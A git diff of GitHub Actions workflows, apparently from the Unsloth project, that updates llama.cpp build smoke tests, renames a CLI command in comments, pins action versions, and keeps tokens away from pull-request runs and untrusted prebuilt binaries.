             --deselect 'tests/utils/test_attention_masks.py::test_run_attention_flash_varlen_receives_window_and_softcap'
           # The deselected test monkeypatches flash_attn_varlen_func, which is
           # only bound on the module when `flash_attn` is importable. flash_attn
@@ -2166,7 +2175,7 @@ jobs:
           python -m pip install --upgrade pip
           # Match the matrix job's torch path so unsloth_zoo's
           # `import torch` resolves to the same CPU build.
-          pip install --index-url https://download.pytorch.org/whl/cpu \
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
             'torch>=2.4,<2.11' 'torchvision<0.26'
           pip install \
             'numpy<3' protobuf sentencepiece \
@@ -2204,12 +2213,13 @@ jobs:
           pip install -e "$RUNNER_TEMP/unsloth-zoo" --no-deps
           pip show unsloth_zoo
 
-      - name: llama.cpp install via unsloth_zoo.llama_cpp + `llama-cli --help` smoke
+      - name: llama.cpp install via unsloth_zoo.llama_cpp + CLI `--help` smoke
         # Exercise the canonical `unsloth_zoo.llama_cpp.install_llama_cpp`
         # flow that GGUF export uses at runtime: clone ggml-org/llama.cpp
         # into ~/.unsloth/llama.cpp, build the LLAMA_CPP_TARGETS list
         # (llama-quantize, llama-cli, llama-mtmd-cli, llama-gguf-split,
-        # llama-server) via cmake, then run `llama-cli --help`.
+        # llama-server) via cmake, then run `--help` on whichever CLI
+        # inference binary the build actually produced.
         #
         # This replaces the previous "download upstream prebuilt zip"
         # approach, which silently exited 0 with the message
@@ -2218,6 +2228,18 @@ jobs:
         # matched their current asset names). The build path is the same
         # one Unsloth users hit in production via `model.save_pretrained_gguf`.
         #
+        # We do NOT hard-require `llama-cli` specifically: upstream
+        # ggml-org/llama.cpp moved the cli/server/ui targets behind the
+        # `LLAMA_BUILD_SERVER` cmake option (tools/CMakeLists.txt) and the
+        # set of binaries that survive a given checkout drifts over time
+        # (e.g. a recent build root shipped llama-server + llama-quantize
+        # + llama-diffusion-cli but no llama-cli). The durable contract is
+        # "install_llama_cpp produced a working CLI inference binary AND a
+        # working quantizer", so we --help-probe the first of
+        # llama-cli / llama-mtmd-cli / llama-server that exists. If a
+        # future llama.cpp restores llama-cli it is first in the list and
+        # is preferred, so this stays backwards compatible.
+        #
         # Wall-time budget: ~3-5 min cold, dominated by cmake build of
         # 5 targets on the runner's 4 cores. Apt-package install is
         # handled by `install_llama_cpp` itself via its
@@ -2252,8 +2274,9 @@ jobs:
           print(f"Build targets: {LLAMA_CPP_TARGETS}")
           # install_llama_cpp returns (quantizer_path, converter_script_path).
           # The quantizer's directory is the `llama.cpp` install root, which
-          # also holds llama-cli after build/bin/llama-* gets copied up
-          # (llama_cpp.py:867-871).
+          # also holds the CLI inference binaries after build/bin/llama-* gets
+          # copied up (llama_cpp.py:1450-1454; on Windows they stay in
+          # build/bin/Release/).
           quantizer, converter = install_llama_cpp(print_output=True)
           assert quantizer and os.path.exists(quantizer), (
               f"install_llama_cpp returned quantizer={quantizer!r} but file missing"
@@ -2262,25 +2285,54 @@ jobs:
               f"install_llama_cpp returned converter={converter!r} but missing"
           )
           install_root = os.path.dirname(quantizer)
-          cli = os.path.join(install_root, "llama-cli")
-          assert os.path.exists(cli), (
-              f"llama-cli not found at {cli!r} after build. Build root contents: "
-              f"{sorted(p for p in os.listdir(install_root) if p.startswith('llama-'))[:20]}"
-          )
-          assert os.access(cli, os.X_OK), f"{cli!r} not executable"
-          # `llama-cli --help` exits non-zero on some builds; the contract
-          # is that recognizable help text appears on stdout/stderr.
+          is_windows = sys.platform == "win32"
+          exe = ".exe" if is_windows else ""
+          # Search both the copied-up root and the Windows build/bin/Release/
+          # location the quantizer might already live in.
+          search_dirs = [install_root]
+          win_release = os.path.join(install_root, "build", "bin", "Release")
+          if win_release not in search_dirs:
+              search_dirs.append(win_release)
+          # Any of these proves a working llama.cpp CLI inference binary was
+          # built. Order = preference: llama-cli is canonical (restored first
+          # if upstream brings it back), then the multimodal CLI, then the
+          # server (always built whenever cli would be, behind LLAMA_BUILD_SERVER).
+          cli_names = [f"llama-cli{exe}", f"llama-mtmd-cli{exe}", f"llama-server{exe}"]
+          cli = None
+          cli_name = None
+          for name in cli_names:
+              for d in search_dirs:
+                  candidate = os.path.join(d, name)
+                  if os.path.exists(candidate) and (is_windows or os.access(candidate, os.X_OK)):
+                      cli, cli_name = candidate, name
+                      break
+              if cli is not None:
+                  break
+          if cli is None:
+              found = []
+              for d in search_dirs:
+                  if os.path.isdir(d):
+                      found += [p for p in os.listdir(d) if p.startswith("llama-")]
+              raise AssertionError(
+                  f"No CLI inference binary ({', '.join(cli_names)}) found after "
+                  f"build in {search_dirs}. Build root contents: {sorted(set(found))[:20]}"
+              )
+          print(f"Using CLI inference binary: {cli_name} -> {cli}")
+          # `--help` exits non-zero on some builds; the contract is that
+          # recognizable help text appears on stdout/stderr. llama-server
+          # exposes a different flag set than llama-cli, so accept its
+          # tokens too (e.g. --host / --port / "server").
           proc = subprocess.run(
               [cli, "--help"], capture_output=True, text=True, timeout=30,
           )
           combined = (proc.stdout or "") + (proc.stderr or "")
-          print("--- llama-cli --help (first 30 lines) ---")
+          print(f"--- {cli_name} --help (first 30 lines) ---")
           print("\n".join(combined.splitlines()[:30]))
           assert any(
               tok in combined.lower()
-              for tok in ("usage", "--help", "--model", "-m,")
+              for tok in ("usage", "--help", "--model", "-m,", "--host", "--port", "server")
           ), (
-              f"llama-cli --help produced no recognizable help text. "
+              f"{cli_name} --help produced no recognizable help text. "
               f"exit={proc.returncode}\nstdout: {proc.stdout[:400]!r}\n"
               f"stderr: {proc.stderr[:400]!r}"
           )
@@ -2296,7 +2348,7 @@ jobs:
               f"stderr: {q.stderr[:400]!r}"
           )
           print(
-              f"\nOK: install_llama_cpp produced a working llama-cli at {cli} "
+              f"\nOK: install_llama_cpp produced a working {cli_name} at {cli} "
               f"and llama-quantize at {quantizer}."
           )
           PY
diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml
index 150dbc3fde..47f75dc1ba 100644
--- a/.github/workflows/local-agent-guides-ci.yml
+++ b/.github/workflows/local-agent-guides-ci.yml
@@ -6,29 +6,27 @@
 # Detects when our local-agent setup recipes drift out of sync with
 # `unsloth run`. Boots a real `unsloth run --disable-tools` server and
 # drives the coding agents end to end through the *exact* recipes defined
-# in unsloth_cli/commands/connect.py (the in-repo source of truth -- there
-# is no docs/ tree). Wherever connect.py has a recipe we drive the agent
-# via `unsloth connect <agent> --no-launch` and execute what it prints, so
-# the test self-updates against connect.py and catches silent recipe drift.
+# in unsloth_cli/commands/start.py (the in-repo source of truth -- there
+# is no docs/ tree). Wherever start.py has a recipe we drive the agent
+# via `unsloth start <agent> --no-launch` and execute what it prints, so
+# the test self-updates against start.py and catches silent recipe drift.
 #
 # Source-of-truth files this workflow guards:
-#   unsloth_cli/commands/connect.py   the `unsloth connect <agent>` recipes
+#   unsloth_cli/commands/start.py   the `unsloth start <agent>` recipes
 #   unsloth_cli/commands/studio.py    the `unsloth run` banner (API Key line)
 #
 # Failure taxonomy (each surfaced with a distinct ::error:: + the agent name
-# + the connect.py location, so a red X is immediately triageable):
+# + the start.py location, so a red X is immediately triageable):
 #   (a) Unsloth server/API regression -- the dialect HTTP preflight fails
 #       BEFORE the agent runs (or the server never becomes healthy).
 #   (b) Agent package install failed   -- npm/curl install of the CLI failed.
 #   (c) Guide drift                    -- preflight passed + install ok, but
-#       the documented `unsloth connect` flow produced no/garbled output.
+#       the documented `unsloth start` flow produced no/garbled output.
 #
 # Agents covered (6): claude, codex, hermes, openclaw, opencode, pi.
-#   - claude/codex/hermes/openclaw/opencode have a connect.py recipe.
-#   - pi has NO `unsloth connect pi` command in connect.py at HEAD; it is
-#     driven by a hand-written recipe and the matrix cell asserts that the
-#     missing connect recipe is the (known) reason, so the day connect.py
-#     grows a `pi` command this cell flips to the self-updating path.
+#   - All six have a `unsloth start <agent>` recipe, so each cell obtains its
+#     env + command from `unsloth start <agent> --no-launch` and runs THAT
+#     (self-updating: a recipe change is exercised automatically).
 
 name: Local Agent Guides CI
 
@@ -64,6 +62,12 @@ concurrency:
 permissions:
   contents: read
 
+# Secret handling on pull_request: these jobs check out and run PR-controlled code
+# (install.sh, .github/scripts/**), so HF_TOKEN (an external HF credential) is gated
+# off pull_request at each step below -- public GGUF repos still download anonymously.
+# GH_TOKEN (GITHUB_TOKEN) is kept: it is the job-scoped contents:read token and
+# install_llama_prebuilt.py needs it for the GitHub releases API (else 403s).
+
 env:
   # Determinism precedent (studio-inference-smoke.yml): temp 0 + fixed seed.
   UNSLOTH_SEED: '3407'
@@ -77,7 +81,7 @@ jobs:
   # ═════════════════════════════════════════════════════════════════════
   # Job 1: connection
   #   Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect,
-  #   install the agent, run `unsloth connect <agent> --no-launch`, execute
+  #   install the agent, run `unsloth start <agent> --no-launch`, execute
   #   the emitted recipe with a trivial prompt, assert a non-empty reply.
   #   Runs on PR + weekly + dispatch. Each matrix cell is its own runner so
   #   it serves exactly one model on its own port.
@@ -97,7 +101,9 @@ jobs:
     env:
       # gemma-4-E4B (128K context, capable enough to drive every agent for a
       # trivial reply; the 270m model produced empty/failed responses for
-      # codex/openclaw and is below hermes' 64K context floor). Served as a flat
+      # codex/openclaw). Hermes' 64K context floor no longer constrains the model
+      # choice: write_hermes_config claims the floor for smaller windows and
+      # scales compaction back to the real window. Served as a flat
       # GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B).
       GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
       GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
@@ -134,7 +140,8 @@ jobs:
         id: download-gguf
         if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Gated off PR (see note above); public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p gguf-cache
@@ -150,7 +157,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Gated off PR (see note above); public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -201,7 +209,7 @@ jobs:
               ;;
             *)
               # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw).
-              # OpenClaw's connect.py recipe writes an "openai-completions"
+              # OpenClaw's start.py recipe writes an "openai-completions"
               # provider (write_openclaw_config), so it uses this path, not
               # /v1/messages.
               code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
@@ -219,13 +227,13 @@ jobs:
           AGENT: ${{ matrix.agent }}
         run: bash .github/scripts/agent-guides-install.sh "$AGENT"
 
-      # ── (c) drive the agent via connect.py and assert a reply ──────────
-      # For the 5 agents with a connect.py recipe we run
-      # `unsloth connect <agent> --no-launch`, eval its env/unset exports,
+      # ── (c) drive the agent via start.py and assert a reply ──────────
+      # For the 5 agents with a start.py recipe we run
+      # `unsloth start <agent> --no-launch`, eval its env/unset exports,
       # then run the printed command with a hard timeout (no headless-TTY
       # hang). Pi has no connect recipe, so it is driven by hand and the
       # cell asserts that absence is the (known) reason.
-      - name: Drive ${{ matrix.agent }} via unsloth connect (class-c isolation)
+      - name: Drive ${{ matrix.agent }} via unsloth start (class-c isolation)
         env:
           AGENT: ${{ matrix.agent }}
         run: bash .github/scripts/agent-guides-drive.sh connection "$AGENT"
@@ -240,8 +248,10 @@ jobs:
           # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
           # step publishes all of logs/, so scrubbing only studio-logs would leak
           # the bearer token in the retained artifact.
+          # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
+          # agent-workdir/ are published by the same upload step.
           if [ -n "${UNSLOTH_API_KEY:-}" ]; then
-            grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
+            grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
               sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
             done
           fi
@@ -335,7 +345,8 @@ jobs:
         id: download-gguf
         if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Gated off PR (see note above); public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p gguf-cache
@@ -351,7 +362,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Gated off PR (see note above); public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -428,8 +440,10 @@ jobs:
           # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
           # step publishes all of logs/, so scrubbing only studio-logs would leak
           # the bearer token in the retained artifact.
+          # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
+          # agent-workdir/ are published by the same upload step.
           if [ -n "${UNSLOTH_API_KEY:-}" ]; then
-            grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
+            grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
               sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
             done
           fi
@@ -508,7 +522,8 @@ jobs:
         id: prime-hf
         if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Gated off PR (see note above); public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           python -m pip install --upgrade huggingface_hub
           mkdir -p hf-cache
@@ -524,7 +539,8 @@ jobs:
       - name: Install Studio (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+          # Gated off PR (see note above); public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           mkdir -p logs
           set -o pipefail
@@ -570,8 +586,10 @@ jobs:
           # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
           # step publishes all of logs/, so scrubbing only studio-logs would leak
           # the bearer token in the retained artifact.
+          # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
+          # agent-workdir/ are published by the same upload step.
           if [ -n "${UNSLOTH_API_KEY:-}" ]; then
-            grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
+            grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
               sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
             done
           fi
diff --git a/.github/workflows/lockfile-audit.yml b/.github/workflows/lockfile-audit.yml
index 9c28e21672..aaf258d615 100644
--- a/.github/workflows/lockfile-audit.yml
+++ b/.github/workflows/lockfile-audit.yml
@@ -60,11 +60,11 @@ jobs:
     runs-on: ubuntu-latest
     timeout-minutes: 5
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0  # v7.0.0
         with:
           persist-credentials: false
 
-      - uses: actions/setup-python@v5
+      - uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1  # v6.3.0
         with:
           python-version: '3.12'
 
diff --git a/.github/workflows/mlx-ci.yml b/.github/workflows/mlx-ci.yml
index 221e86f235..a2f716a93c 100644
--- a/.github/workflows/mlx-ci.yml
+++ b/.github/workflows/mlx-ci.yml
@@ -163,7 +163,7 @@ jobs:
             'pytest==9.0.3' \
             'pytest-asyncio==1.3.0' \
             'httpx==0.28.1'
-          pip install --index-url https://download.pytorch.org/whl/cpu \
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
             'torch==2.10.0'
           # github.com occasionally 500s on the git fetch; retry the
           # zoo install so a single upstream blip does not fail CI.
@@ -231,41 +231,126 @@ jobs:
             tests/studio/test_is_mlx_dispatch_gate.py \
             tests/studio/test_mlx_training_worker_behaviors.py
 
-      # Studio prebuilt llama.cpp install + GGUF inference. Mirrors the
-      # path Studio's setup.sh takes on macOS since #5963: plan against
-      # the unslothai/llama.cpp fork's latest release, which ships the
-      # bin-macos-arm64 bundle plus the llama-prebuilt-manifest.json the
-      # default policy reads. After install, downloads a small published
-      # GGUF (unsloth/gemma-3-270m-it-GGUF, Q4_K_M) and validates
-      # llama-server /completion end to end. An install failure or a
-      # non-zero binary exit is an Unsloth/Studio bug.
-      - name: Studio prebuilt llama.cpp install + GGUF inference (Mac M1)
+      # Real MLX training + inference smoke test. Trains
+      # unsloth/gemma-3-270m-it for 7 deterministic LoRA steps
+      # (batch_size=2, gradient_accumulation_steps=3) on a single
+      # repeated row ("<<HELLO!!>> My name is Unsloth!"), then saves
+      # the trained model in 3 export formats. The `train` subcommand
+      # captures per-phase timing + peak GPU + peak RSS into
+      # train_metrics.json so we can detect regressions across CI runs.
+      - name: MLX export round-trip — TRAIN + SAVE 3 formats
+        env:
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
+          UNSLOTH_COMPILE_DISABLE: '1'
+        run: |
+          mkdir -p mlx_workdir
+          # Authenticate llama.cpp's release-API lookup (anonymous 403s on rate-limit);
+          # read-only GITHUB_TOKEN scoped here only, never to steps that run binaries.
+          GH_TOKEN="${{ secrets.GITHUB_TOKEN }}" GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \
+          python tests/studio/run_real_mlx_smoke.py train \
+            --workdir "$PWD/mlx_workdir"
+
+      # Each reload step runs in a FRESH Python process to confirm
+      # the cold-start path users would hit in production also works
+      # (not just the in-memory continuation of a still-running
+      # trainer). FastMLXModel.from_pretrained gets called from
+      # scratch; mx.random is re-seeded; per-step timing + peak
+      # memory are emitted to {format}_reload_metrics.json next to
+      # the saved dir.
+      - name: MLX export round-trip — RELOAD LoRA (fresh process)
+        env:
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
+          UNSLOTH_COMPILE_DISABLE: '1'
+        run: |
+          python tests/studio/run_real_mlx_smoke.py reload \
+            --format lora \
+            --dir "$PWD/mlx_workdir/lora"
+
+      - name: MLX export round-trip — RELOAD merged_16bit (fresh process)
+        env:
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
+          UNSLOTH_COMPILE_DISABLE: '1'
+        run: |
+          python tests/studio/run_real_mlx_smoke.py reload \
+            --format merged \
+            --dir "$PWD/mlx_workdir/merged_16bit"
+
+      # GGUF reload uses the llama-cli binary that save_pretrained_gguf
+      # built. If save_pretrained_gguf was skipped during train (e.g.
+      # llama.cpp's convert_hf_to_gguf asserts on the model's tokenizer
+      # vocab -- a downstream llama.cpp limitation, not an unsloth_zoo
+      # bug), this step emits a workflow warning and exits 0 so the
+      # LoRA + merged_16bit assertions remain the gating signal.
+      - name: MLX export round-trip — RELOAD GGUF via llama-cli (fresh process)
+        env:
+          # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
+        run: |
+          if python -c "import json,sys; m=json.load(open('mlx_workdir/train_metrics.json')); sys.exit(0 if m.get('gguf_supported') else 1)"; then
+            python tests/studio/run_real_mlx_smoke.py reload \
+              --format gguf \
+              --dir "$PWD/mlx_workdir/gguf"
+          else
+            REASON=$(python -c "import json; m=json.load(open('mlx_workdir/train_metrics.json')); print(m.get('gguf_skip_reason') or 'unknown')")
+            echo "::warning title=GGUF round-trip skipped::${REASON}"
+            echo "GGUF export was skipped during the train phase. Reason:"
+            echo "  ${REASON}"
+            echo "Continuing without failing the job; the LoRA + merged_16bit"
+            echo "reload assertions are still gating this PR."
+          fi
+
+      # Print all metrics JSON files so regressions are visible in the
+      # job log. always() so we get telemetry even if a reload step
+      # asserted gibberish.
+      - name: MLX export round-trip — aggregate metrics
+        if: always()
+        run: |
+          for f in mlx_workdir/train_metrics.json \
+                   mlx_workdir/lora_reload_metrics.json \
+                   mlx_workdir/merged_reload_metrics.json \
+                   mlx_workdir/gguf_reload_metrics.json; do
+            echo "=== $f ==="
+            cat "$f" 2>/dev/null || echo "(missing)"
+            echo
+          done
+
+      # Validates the macOS prebuilt path Studio's setup.sh uses (#5963): install the
+      # unslothai/llama.cpp fork's latest release, download a small public GGUF, and
+      # check llama-server /completion end to end. Split and placed last so the
+      # untrusted binary runs only in the final smoke step, after every HF_TOKEN step,
+      # leaving no token-bearing step or shared workspace for a tampered prebuilt to
+      # corrupt. GH_TOKEN: releases API; HF_TOKEN (withheld on PR): probe + GGUF fetch.
+      - name: Studio prebuilt llama.cpp install + GGUF download (Mac M1)
         env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
-          # install_llama_prebuilt.py hits the GitHub releases API to
-          # resolve the asset URL. Anonymous calls share the runner-IP
-          # rate-limit bucket and 403 quickly -- pass the workflow's
-          # automatic GITHUB_TOKEN to bump us to the 5000/hr authenticated
-          # bucket.
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
         run: |
           set -euo pipefail
           INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
           rm -rf "$INSTALL_DIR"
-          # Mirror studio/setup.sh on macOS (the install.sh user path):
-          # it plans against the unslothai/llama.cpp fork's latest
-          # release with no policy or tag flags.
+          # Download only -- no llama-quantize / llama-server launch in this step.
           python studio/install_llama_prebuilt.py \
             --install-dir "$INSTALL_DIR" \
             --published-repo unslothai/llama.cpp
+          mkdir -p /tmp/ggufs
+          bash .github/scripts/hf-download-with-retry.sh \
+            'unsloth/gemma-3-270m-it-GGUF' \
+            'gemma-3-270m-it-Q4_K_M.gguf' \
+            /tmp/ggufs
 
-          # Studio bundles only llama-server + llama-quantize from the
-          # prebuilt (not llama-cli) -- inference goes through
-          # llama-server's HTTP /completion endpoint. Validate both:
-          # llama-quantize --help proves the dynamic libs link, then
-          # spin up llama-server and POST a /completion request on a
-          # tiny published GGUF.
+      # Final step: runs the downloaded binaries with no secrets present, and clears
+      # the GitHub Actions command files so a tampered prebuilt cannot influence the job.
+      - name: Studio prebuilt llama.cpp GGUF inference smoke (Mac M1)
+        run: |
+          set -euo pipefail
+          unset GITHUB_ENV GITHUB_PATH GITHUB_OUTPUT GITHUB_STEP_SUMMARY
+          INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
+          # Studio bundles only llama-server + llama-quantize (not llama-cli);
+          # inference goes through llama-server's HTTP /completion endpoint.
           LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server"
           LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize"
           [ -x "$LLAMA_SERVER" ] || { echo "::error::llama-server missing at $LLAMA_SERVER"; find "$INSTALL_DIR/build" -type f | head -40; exit 1; }
@@ -274,12 +359,6 @@ jobs:
           echo "llama-quantize: $LLAMA_QUANT"
           "$LLAMA_QUANT" --help >/dev/null && echo "  llama-quantize loads OK"
 
-          mkdir -p /tmp/ggufs
-          bash .github/scripts/hf-download-with-retry.sh \
-            'unsloth/gemma-3-270m-it-GGUF' \
-            'gemma-3-270m-it-Q4_K_M.gguf' \
-            /tmp/ggufs
-
           PORT=18080
           echo "=== starting llama-server on 127.0.0.1:$PORT ==="
           "$LLAMA_SERVER" \
@@ -322,82 +401,3 @@ jobs:
             exit 1
           fi
           echo "OK: Studio prebuilt llama.cpp on Mac M1 + GGUF /completion works"
-
-      # Real MLX training + inference smoke test. Trains
-      # unsloth/gemma-3-270m-it for 7 deterministic LoRA steps
-      # (batch_size=2, gradient_accumulation_steps=3) on a single
-      # repeated row ("<<HELLO!!>> My name is Unsloth!"), then saves
-      # the trained model in 3 export formats. The `train` subcommand
-      # captures per-phase timing + peak GPU + peak RSS into
-      # train_metrics.json so we can detect regressions across CI runs.
-      - name: MLX export round-trip — TRAIN + SAVE 3 formats
-        env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
-          UNSLOTH_COMPILE_DISABLE: '1'
-        run: |
-          mkdir -p mlx_workdir
-          python tests/studio/run_real_mlx_smoke.py train \
-            --workdir "$PWD/mlx_workdir"
-
-      # Each reload step runs in a FRESH Python process to confirm
-      # the cold-start path users would hit in production also works
-      # (not just the in-memory continuation of a still-running
-      # trainer). FastMLXModel.from_pretrained gets called from
-      # scratch; mx.random is re-seeded; per-step timing + peak
-      # memory are emitted to {format}_reload_metrics.json next to
-      # the saved dir.
-      - name: MLX export round-trip — RELOAD LoRA (fresh process)
-        env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
-          UNSLOTH_COMPILE_DISABLE: '1'
-        run: |
-          python tests/studio/run_real_mlx_smoke.py reload \
-            --format lora \
-            --dir "$PWD/mlx_workdir/lora"
-
-      - name: MLX export round-trip — RELOAD merged_16bit (fresh process)
-        env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
-          UNSLOTH_COMPILE_DISABLE: '1'
-        run: |
-          python tests/studio/run_real_mlx_smoke.py reload \
-            --format merged \
-            --dir "$PWD/mlx_workdir/merged_16bit"
-
-      # GGUF reload uses the llama-cli binary that save_pretrained_gguf
-      # built. If save_pretrained_gguf was skipped during train (e.g.
-      # llama.cpp's convert_hf_to_gguf asserts on the model's tokenizer
-      # vocab -- a downstream llama.cpp limitation, not an unsloth_zoo
-      # bug), this step emits a workflow warning and exits 0 so the
-      # LoRA + merged_16bit assertions remain the gating signal.
-      - name: MLX export round-trip — RELOAD GGUF via llama-cli (fresh process)
-        env:
-          HF_TOKEN: ${{ secrets.HF_TOKEN }}
-        run: |
-          if python -c "import json,sys; m=json.load(open('mlx_workdir/train_metrics.json')); sys.exit(0 if m.get('gguf_supported') else 1)"; then
-            python tests/studio/run_real_mlx_smoke.py reload \
-              --format gguf \
-              --dir "$PWD/mlx_workdir/gguf"
-          else
-            REASON=$(python -c "import json; m=json.load(open('mlx_workdir/train_metrics.json')); print(m.get('gguf_skip_reason') or 'unknown')")
-            echo "::warning title=GGUF round-trip skipped::${REASON}"
-            echo "GGUF export was skipped during the train phase. Reason:"
-            echo "  ${REASON}"
-            echo "Continuing without failing the job; the LoRA + merged_16bit"
-            echo "reload assertions are still gating this PR."
-          fi
-
-      # Print all metrics JSON files so regressions are visible in the
-      # job log. always() so we get telemetry even if a reload step
-      # asserted gibberish.
-      - name: MLX export round-trip — aggregate metrics
-        if: always()
-        run: |
-          for f in mlx_workdir/train_metrics.json \
-                   mlx_workdir/lora_reload_metrics.json \
-                   mlx_workdir/merged_reload_metrics.json \
-                   mlx_workdir/gguf_reload_metrics.json; do
-            echo "=== $f ==="
-            cat "$f" 2>/dev/null || echo "(missing)"
-            echo
-          done
diff --git a/.github/workflows/notebooks-ci.yml b/.github/workflows/notebooks-ci.yml
index 2edcae8ab2..0e0b35dd4d 100644
--- a/.github/workflows/notebooks-ci.yml
+++ b/.github/workflows/notebooks-ci.yml
@@ -263,7 +263,7 @@ jobs:
           # unsloth_zoo.vision_utils imports PIL at module top, and the
           # easiest way to get a torch-compatible PIL on a CPU runner is
           # to let torchvision pull the right Pillow version.
-          pip install --index-url https://download.pytorch.org/whl/cpu \
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
                       'torch>=2.8,<2.11' 'torchvision<0.26'
           # Pin to the same versions update_all_notebooks.py installs in
           # generated notebooks. Keep these in lockstep with PIN_TRL /
diff --git a/.github/workflows/release-desktop.yml b/.github/workflows/release-desktop.yml
index e747605322..188e078f90 100644
--- a/.github/workflows/release-desktop.yml
+++ b/.github/workflows/release-desktop.yml
@@ -353,7 +353,7 @@ jobs:
         if: matrix.platform == 'ubuntu-22.04'
         run: |
           sudo apt-get update
-          sudo apt-get install -y libwebkit2gtk-4.1-dev libayatana-appindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf
+          sudo apt-get install -y libwebkit2gtk-4.1-dev libappindicator3-dev librsvg2-dev libxdo-dev libssl-dev patchelf
 
       # ── Node.js ──
       - name: Setup Node.js
@@ -406,9 +406,65 @@ jobs:
           if (config.bundle?.linux?.rpm) {
             throw new Error('bundle.linux.rpm must not be configured');
           }
+          if (config.bundle?.linux?.appimage?.bundleMediaFramework !== false) {
+            throw new Error('Linux AppImage bundleMediaFramework must stay false');
+          }
 
           const workflow = readFileSync('.github/workflows/release-desktop.yml', 'utf8');
           const lines = workflow.split(/\r?\n/);
+          const linuxInstallLines = lines.filter((line) => line.includes('sudo apt-get install'));
+          const ayatanaPackage = ['libayatana', 'appindicator3-dev'].join('-');
